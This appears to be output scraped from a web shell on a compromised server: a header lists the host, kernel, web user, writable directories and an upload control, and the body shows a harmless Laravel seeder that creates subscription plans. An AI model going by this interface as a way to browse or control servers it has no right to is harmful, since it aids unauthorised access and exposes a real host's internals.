KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1525618.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  /var/www/account.appointkrypt.com/database/seeders/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/account.appointkrypt.com/database/seeders/Plans.php
<?php

namespace Database\Seeders;

use App\Models\Plan;
use App\Models\PlanField;
use Illuminate\Database\Console\Seeds\WithoutModelEvents;
use Illuminate\Database\Seeder;

class Plans extends Seeder
{
    /**
     * Run the database seeds.
     *
     * @return void
     */
    public function run()
    {
        $plan = Plan::where('custom_plan',1)->first();
        if(empty($plan))
        {
            $new_pan = new Plan();
            $new_pan->package_price_monthly = 0;
            $new_pan->package_price_yearly = 0;
            $new_pan->price_per_user_monthly = 0;
            $new_pan->price_per_user_yearly = 0;
            $new_pan->number_of_user = 5;
            $new_pan->number_of_business = 5;
            $new_pan->custom_plan = 1;
            $new_pan->save();
        }
        $plans = Plan::where('is_free_plan',1)->first();
        if(empty($plans))
        {
            $new_pan = new Plan();
            $new_pan->name = "Basic";
            $new_pan->package_price_monthly = 0;
            $new_pan->package_price_yearly = 0;
            $new_pan->price_per_user_monthly = 0;
            $new_pan->price_per_user_yearly = 0;
            $new_pan->modules = "Stripe,Paypal,GoogleCaptcha";
            $new_pan->number_of_user = 5;
            $new_pan->number_of_business = 5;
            $new_pan->is_free_plan = 1;
            $new_pan->custom_plan = 0;
            $new_pan->save();
        }
    }
}

Anon7 - 2021